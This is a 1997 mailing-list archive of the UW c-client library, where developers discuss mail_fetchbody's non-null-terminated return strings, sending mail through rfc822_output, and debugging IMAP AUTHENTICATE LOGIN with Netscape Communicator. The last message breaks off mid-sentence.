(8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id FAA18121 for ; Mon, 12 May 1997 05:06:42 -0700 Received: (from lynx@localhost) by topaz.hknet.com (8.7.3/8.6.9) id TAA10626; Mon, 12 May 1997 19:53:55 +0800 (HKT) Message-Id: Date: Mon, 12 May 1997 19:53:55 +0800 (HKT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: LYNX To: c-client@u.washington.edu Subject: Problem with mail_fetchbody MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi, I am having problem with mail_fetchbody(). If I call mail_fetchbody(stream, msgno, "X", &len), it returns X AND all sequent sections(but the length len is of the length of section X only). What gives? I thought it only returned the relevant sections(as Internal.DOC describe)? Thanks for your time. P.S: Please consider updating Internal.DOC. I didn't even know there was rfc822_binary() until I looked at the source code! From pinedev@shivax2.cac.washington.edu Mon May 12 08:54:43 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 12 May 1997 08:54:42 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id IAA00170 for ; Mon, 12 May 1997 08:54:40 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id IAA10811; Mon, 12 May 1997 08:54:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with SMTP id IAA19972; Mon, 12 May 1997 08:42:02 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with ESMTP id IAA07440 for ; Mon, 12 May 1997 08:41:17 -0700 Received: from qnx.com (qnx.com [198.53.31.1]) by mx2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id IAA26995 for ; Mon, 12 May 1997 08:41:13 -0700 Received: (from cburgess@localhost) by quics.qnx.com (8.8.5/8.6.12) id LAA12435 for c-client@u.washington.edu; Mon, 12 May 1997 11:40:05 -0400 Message-Id: <199705121540.LAA12435@quics.qnx.com> Date: Mon, 12 May 1997 11:39:55 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Colin Burgess To: lynx@topaz.hknet.com (LYNX) Cc: c-client@u.washington.edu Subject: Re: Problem with mail_fetchbody In-Reply-To: from "LYNX" at May 12, 1997 07:53:55 PM MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: ELM [version 2.5 PL0b1] X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Previously, you (LYNX) wrote: > > Hi, > I am having problem with mail_fetchbody(). If I call > mail_fetchbody(stream, msgno, "X", &len), it returns X AND all > sequent sections(but the length len is of the length of section X only). > > What gives? I thought it only returned the relevant sections(as Internal.DOC > describe)? Your mistake is in assuming that the returned text will be null terminated - this is not true. You MUST note the length passed back to you. > P.S: Please consider updating Internal.DOC. I didn't even know > there was rfc822_binary() until I looked at the source code! The current 4.1 is in BETA - Mark is very busy writing new source. I'm sure that he will update the docs when he is ready. :) Happy function hunting! -- cburgess@qnx.com From pinedev@shivax2.cac.washington.edu Mon May 12 09:23:16 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 12 May 1997 09:23:14 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id JAA12281 for ; Mon, 12 May 1997 09:23:13 -0700 (PDT) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id JAA06061; Mon, 12 May 1997 09:23:08 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with SMTP id JAA18942; Mon, 12 May 1997 09:11:07 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with ESMTP id JAA62938 for ; Mon, 12 May 1997 09:10:57 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (rim@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id JAA00284 for ; Mon, 12 May 1997 09:10:53 -0700 Received: from Ikkoku-Kan.Panda.COM (pth@UW-Gateway.Panda.COM [192.107.14.65]) by Tomobiki-Cho.CAC.Washington.EDU id JAA11073; Mon, 12 May 1997 09:10:50 -0700 (PDT) Received: from localhost (pra@localhost [127.0.0.1]) by Ikkoku-Kan.Panda.COM id JAA02800; Mon, 12 May 1997 09:10:43 -0700 (PDT) Message-Id: Date: Mon, 12 May 1997 09:04:45 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: LYNX Cc: c-client@u.washington.edu Subject: re: Problem with mail_fetchbody In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 12 May 1997 19:53:55 +0800 (HKT), LYNX wrote: > I am having problem with mail_fetchbody(). If I call > mail_fetchbody(stream, msgno, "X", &len), it returns X AND all > sequent sections(but the length len is of the length of section X only). > > What gives? I thought it only returned the relevant sections(as Internal.DOC > describe)? When a length value is returned, you must use the length and not assume that the strings are null-terminated. It is often the case that the return strings are extracted from a cache of larger data (e.g. the entire message text). Creating a NUL-terminated string without damaging the cache would require making a copy. c-client is working toward using *less* RAM, not more. It is never safe to assume null-termination; NUL can appear in the text of a message (although newer standards are working to outlaw that practice). > P.S: Please consider updating Internal.DOC. I didn't even know > there was rfc822_binary() until I looked at the source code! In general, rfc822_binary() is only called internally by rfc822_output(). Only advanced applications do their own creation of BASE64 texts, and the authors of such applications have to look at the rfc822_output() code to see what they need to do anyway. From pinedev@shivax2.cac.washington.edu Tue May 13 07:30:55 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 13 May 1997 07:30:55 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id HAA00155 for ; Tue, 13 May 1997 07:30:54 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id HAA28866; Tue, 13 May 1997 07:30:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with SMTP id HAA17006; Tue, 13 May 1997 07:21:23 -0700 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with ESMTP id HAA57638 for ; Tue, 13 May 1997 07:20:51 -0700 Received: from topaz.hknet.com (lynx@topaz.hknet.com [202.67.240.226]) by mx5.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id HAA15024 for ; Tue, 13 May 1997 07:20:47 -0700 Received: (from lynx@localhost) by topaz.hknet.com (8.7.3/8.6.9) id WAA21443; Tue, 13 May 1997 22:08:14 +0800 (HKT) Message-Id: Date: Tue, 13 May 1997 22:08:14 +0800 (HKT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: LYNX To: c-client@u.washington.edu Cc: c-client@u.washington.edu Subject: re: Problem with mail_fetchbody In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi, Thanks for the help. I now have another question.Basically I am finding a way to pipe a mail message to sendmail after the user has finished composing the mail. But I can't find any function that parses an ENVELOPE and BODY, and then returns the WHOLE message as a string.(kind of like mail_fetchtext()) I have tried using rfc822_output(char *t, env, body, soutr_t mta, FILE *f, ok8bit) where f = popen("sendmail ...", "w") and mta is a function which pipes the into char * to f. Only the header t gets written to the stream. Thx to all. Mark Crispin wrote: > On Mon, 12 May 1997 19:53:55 +0800 (HKT), LYNX wrote: > > I am having problem with mail_fetchbody(). If I call > > mail_fetchbody(stream, msgno, "X", &len), it returns X AND all > > sequent sections(but the length len is of the length of section X only). > > > > What gives? I thought it only returned the relevant sections(as Internal.DOC > > describe)? > > When a length value is returned, you must use the length and not assume that > the strings are null-terminated. It is often the case that the return strings > are extracted from a cache of larger data (e.g. the entire message text). > Creating a NUL-terminated string without damaging the cache would require > making a copy. c-client is working toward using *less* RAM, not more. > > It is never safe to assume null-termination; NUL can appear in the text of a > message (although newer standards are working to outlaw that practice). > > > P.S: Please consider updating Internal.DOC. I didn't even know > > there was rfc822_binary() until I looked at the source code! > > In general, rfc822_binary() is only called internally by rfc822_output(). > Only advanced applications do their own creation of BASE64 texts, and the > authors of such applications have to look at the rfc822_output() code to see > what they need to do anyway. > > From pinedev@shivax2.cac.washington.edu Tue May 13 08:38:27 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 13 May 1997 08:38:26 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id IAA02302 for ; Tue, 13 May 1997 08:38:25 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id IAA00261; Tue, 13 May 1997 08:38:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with SMTP id IAA21070; Tue, 13 May 1997 08:34:09 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.04) with ESMTP id IAA51060 for ; Tue, 13 May 1997 08:33:42 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id IAA01666 for ; Tue, 13 May 1997 08:33:40 -0700 Received: from mailhost1.cac.washington.edu (mailhost1.cac.washington.edu [140.142.32.2]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id IAA06505 for ; Tue, 13 May 1997 08:33:38 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (strider@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id IAA09674; Tue, 13 May 1997 08:33:31 -0700 Message-Id: Date: Tue, 13 May 1997 08:32:08 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: LYNX Cc: c-client Interest List Subject: re: Problem with mail_fetchbody In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 13 May 1997 22:08:14 +0800 (HKT), LYNX wrote: > I have tried using rfc822_output(char *t, env, body, soutr_t mta, > FILE *f, ok8bit) where f = popen("sendmail ...", "w") and mta is a function > which pipes the into char * to f. Only the header t gets written to the > stream. That would happen if you don't have the "body" argument set up with a proper body structure with useful data. It can also happen if your "mta" function returns NIL, meaning that it failed. From pinedev@shivax2.cac.washington.edu Thu May 22 04:40:00 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 22 May 1997 04:40:00 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id EAA30246 for ; Thu, 22 May 1997 04:39:59 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id EAA29569; Thu, 22 May 1997 04:39:54 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with SMTP id EAA04240; Thu, 22 May 1997 04:36:17 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with ESMTP id EAA59494 for ; Thu, 22 May 1997 04:34:43 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mx2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id EAA02954 for ; Thu, 22 May 1997 04:34:41 -0700 Received: from sava.utic.net.ba (sava.utic.net.ba [130.37.126.3]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with SMTP id EAA29505 for ; Thu, 22 May 1997 04:34:34 -0700 Received: from server1 by sava.utic.net.ba via ESMTP (940816.SGI.8.6.9/940406.SGI.AUTO) for id NAA23760; Thu, 22 May 1997 13:43:03 +0200 Message-Id: <330EE718.CB14DCF9@utic.net.ba> Date: Sat, 22 Feb 1997 13:31:21 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: aporobic To: c-client@CAC.Washington.EDU Subject: email MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Mailer: Mozilla 4.0b3 [en] (Win95; I) X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Dear sir, Can you give me IMAP4 email adress on your server to test it with my Netscape Communicator. From pinedev@shivax2.cac.washington.edu Thu May 29 11:23:49 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 29 May 1997 11:23:47 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id LAA23115 for ; Thu, 29 May 1997 11:23:45 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id LAA05247; Thu, 29 May 1997 11:23:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with SMTP id LAA15618; Thu, 29 May 1997 11:19:37 -0700 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with ESMTP id LAA04540 for ; Thu, 29 May 1997 11:11:05 -0700 Received: from usr.com (intergate.usr.com [149.112.20.3]) by mx5.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id LAA11155 for ; Thu, 29 May 1997 11:11:03 -0700 Received: from palmgate.palm.com by usr.com (8.7.5/3.1.090690-US Robotics) id NAA05026; Thu, 29 May 1997 13:12:50 -0500 (CDT) Received: by palmgate.palm.com with Internet Mail Service (5.0.1457.3) id ; Thu, 29 May 1997 11:13:26 -0700 Message-Id: Date: Thu, 29 May 1997 11:13:24 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Quang Dangtran To: c-client@u.washington.edu Subject: imap4 X-Priority: 3 X-Mailer: Internet Mail Service (5.0.1457.3) X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi, I'm new to the list and I'm looking for a sample code for imap4 client. Does anyone know of one? Quang From pinedev@shivax2.cac.washington.edu Thu May 29 19:00:29 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 29 May 1997 19:00:29 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id TAA32668 for ; Thu, 29 May 1997 19:00:28 -0700 (PDT) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id TAA16034; Thu, 29 May 1997 19:00:24 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with SMTP id SAA58750; Thu, 29 May 1997 18:57:53 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with ESMTP id SAA72168 for ; Thu, 29 May 1997 18:57:31 -0700 Received: from topaz.hknet.com (lynx@topaz.hknet.com [202.67.240.226]) by mx3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id SAA28602 for ; Thu, 29 May 1997 18:57:27 -0700 Received: (from lynx@localhost) by topaz.hknet.com (8.8.5/8.8.5) id JAA06108; Fri, 30 May 1997 09:46:52 +0800 (HKT) Message-Id: Date: Fri, 30 May 1997 09:46:52 +0800 (HKT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: LYNX To: Quang Dangtran Cc: c-client@u.washington.edu Subject: Re: imap4 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Take a look at 'mtest' included in the C-client distribution. On Thu, 29 May 1997, Quang Dangtran wrote: > Hi, > I'm new to the list and I'm looking for a sample code for imap4 client. > Does anyone know of one? > Quang > From pinedev@shivax2.cac.washington.edu Thu Jun 5 14:36:37 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 5 Jun 1997 14:36:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id OAA32645 for ; Thu, 5 Jun 1997 14:36:30 -0700 (PDT) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id OAA28622; Thu, 5 Jun 1997 14:36:24 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with SMTP id OAA18738; Thu, 5 Jun 1997 14:29:32 -0700 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with ESMTP id OAA59104 for ; Thu, 5 Jun 1997 14:28:35 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx5.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id OAA04325 for ; Thu, 5 Jun 1997 14:28:32 -0700 Received: from mail12.digital.com (mail12.digital.com [192.208.46.20]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id OAA27827 for ; Thu, 5 Jun 1997 14:28:29 -0700 Received: from quarry.zk3.dec.com by mail12.digital.com (8.7.5/UNX 1.5/1.0/WV) id RAA17205; Thu, 5 Jun 1997 17:21:32 -0400 (EDT) Received: from islet.zk3.dec.com by quarry.zk3.dec.com; (5.65v3.2/1.1.8.2/16Jan95-0946AM) id AA14916; Thu, 5 Jun 1997 17:21:30 -0400 Message-Id: <9706052121.AA14916@quarry.zk3.dec.com> Date: Thu, 05 Jun 97 17:21:29 -0400 Reply-To: pderr@zk3.dec.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Peter Derr" To: c-client@CAC.Washington.EDU Subject: AUTHENTICATE vs. LOGIN Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: exmh version 1.6.7 5/3/96 X-Face: *Ck*L4Ya{,`?^Cd%O~.N}/[vGHKI"Qz8J`.5!t]3+*,5hqrn1b0IXJ&z<#vP{AR(TIR'|f^ d7\h0eVBzEfyt"Fk)j98n3}S\Pt:jD*sA)F`\nHrV^ClLov$;-GUFPP\uQS2L3|c+xn#h0k%^G1}N] [.L@TxmDVOHgj](mtS X-Mts: smtp X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I've been trying various IMAP clients with the latest IMAP4.1-BETA and all the ones I've tried except for Netscape Communicator use the LOGIN command (plaintext login with password) which works fine. NS Communicator uses the AUTHENTICATE command which, if I read the code correctly, sends the username and password in BASE64 encoding. This never works. I've been going through this in the debugger and I always get garbage for the username and password after the decoding by the rfc822_base64() function, called like this: >0 0x1200224a4 in rfc822_base64(src=0x11fffd150="U2ltcGxlMQ==", srcl=12, len=0x11fffd130) rfc822.c:1601 #1 0x12001b820 in imap_responder(challenge=0x140008c18, clen=9, rlen=0x0) imapd.c:2674 #2 0x12005d194 in auth_login_server(responder=0x12001b6fc, argc=2, argv=0x11fffff08) auth_log.c:106 #3 0x12006e568 in mail_auth(mechanism=0x14000fc0f="login", resp=0x12001b6fc, argc=2, argv=0x11fffff08) mail.c:3552 #4 0x1200125f4 in main(argc=2, argv=0x11fffff08) imapd.c:307 Does this work for anyone else on other platforms? I'm wondering if this is a porting problem on my platform (Digital UNIX V4.0, little endian, 64-bit int) or a problem with NS Communicator (I'm running Communicator PR5 on NT). Are there any other clients (or any test programs) that use the AUTHENTICATE command? Thanks, Peter From pinedev@shivax2.cac.washington.edu Fri Jun 6 05:52:09 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Fri, 6 Jun 1997 05:52:09 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id FAA06941 for ; Fri, 6 Jun 1997 05:52:08 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id FAA12808; Fri, 6 Jun 1997 05:52:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with SMTP id FAA24584; Fri, 6 Jun 1997 05:47:33 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with ESMTP id FAA69190 for ; Fri, 6 Jun 1997 05:46:48 -0700 Received: from isp3sc02.amteva.com ([38.218.160.222]) by mx2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with SMTP id FAA19694 for ; Fri, 6 Jun 1997 05:46:46 -0700 Received: from localhost by isp3sc02.amteva.com ; 6 JUN 97 08:58:44 EDT Message-Id: Date: Fri, 6 Jun 1997 08:58:44 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Nagu Parasu To: C-Client library for mail software discussion list Subject: Re: AUTHENTICATE login vs communicator In-Reply-To: <199706060704.AAA26838@lists2.u.washington.edu> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: nagu@isp3sc02 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN >NS Communicator uses the AUTHENTICATE command which, if I read the code >correctly, sends the username and password in BASE64 encoding. This >never works. I've been going through this in the debugger and I always To disable AUTHENTICATE login in communicator, you need to add the following to your prefs.js file. user_pref("mail.auth_login", false); As for trying AUTHENTICATE login with others, try mtest program that comes with imap software. The linkage.c that you need to include links in log authenticator If you don't want this, simply comment out auth_link() call in linkage.c and make your client. From pinedev@shivax2.cac.washington.edu Fri Jun 6 07:03:16 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Fri, 6 Jun 1997 07:03:16 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id HAA07522 for ; Fri, 6 Jun 1997 07:03:15 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id HAA13761; Fri, 6 Jun 1997 07:03:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with SMTP id GAA06910; Fri, 6 Jun 1997 06:59:11 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with ESMTP id GAA66728 for ; Fri, 6 Jun 1997 06:58:35 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id GAA24123 for ; Fri, 6 Jun 1997 06:58:33 -0700 Received: from mail12.digital.com (mail12.digital.com [192.208.46.20]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id GAA13375 for ; Fri, 6 Jun 1997 06:58:31 -0700 Received: from quarry.zk3.dec.com by mail12.digital.com (8.7.5/UNX 1.5/1.0/WV) id JAA14548; Fri, 6 Jun 1997 09:50:08 -0400 (EDT) Received: from zk12c8p6.zko.dec.com by quarry.zk3.dec.com; (5.65v3.2/1.1.8.2/16Jan95-0946AM) id AA10539; Fri, 6 Jun 1997 09:50:03 -0400 Message-Id: Date: Fri, 6 Jun 1997 09:49:34 -0400 () Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Peter Derr To: c-client@CAC.Washington.EDU Subject: Re: AUTHENTICATE vs. LOGIN In-Reply-To: <9706052121.AA14916@quarry.zk3.dec.com> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: pderr@islet.zk3.dec.com X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Thanks for the suggestions. I'll try Simeon mail and I'll try enabling AUTHENTICATE in mtest. When I said this I mis-spoke: > Does this work for anyone else on other platforms? I'm wondering if > this is a porting problem on my platform (Digital UNIX V4.0, little > endian, 64-bit int) or a problem with NS Communicator (I'm running > Communicator PR5 on NT). I meant to say that Digital UNIX has a 64-bit long (ints are 32 bits). I was wondering if the size of long or being little endian could have an effect on the BASE64 encode/decode functions. Examining the code didn't reveal any problems. I'm still wondering if anyone has been able to use NS Communicator PR5 with the latest UW imapd. Thanks, Peter From pinedev@shivax2.cac.washington.edu Fri Jun 6 09:00:54 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Fri, 6 Jun 1997 09:00:47 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id JAA14406 for ; Fri, 6 Jun 1997 09:00:46 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id JAA16093; Fri, 6 Jun 1997 09:00:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with SMTP id IAA03775; Fri, 6 Jun 1997 08:55:47 -0700 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW97.04/8.8.4+UW97.05) with ESMTP id IAA52618 for ; Fri, 6 Jun 1997 08:55:29 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mx5.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id IAA11653 for ; Fri, 6 Jun 1997 08:55:28 -0700 Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.04) with ESMTP id IAA16050 for ; Fri, 6 Jun 1997 08:55:25 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (depace@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id IAA11372; Fri, 6 Jun 1997 08:55:21 -0700 Message-Id: Date: Fri, 6 Jun 1997 08:52:18 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Peter Derr Cc: c-client@CAC.Washington.EDU Subject: Re: AUTHENTICATE vs. LOGIN In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Fri, 6 Jun 1997 09:49:34 -0400 (), Peter Derr wrote: > I meant to say that Digital UNIX has a 64-bit long (ints are 32 bits). > I was wondering if the size of long or being little endian could have > an effect on the BASE64 encode/decode functions. Examining the code > didn't reveal any problems. CAC's internal IMAP servers are Digital UNIX based. We've 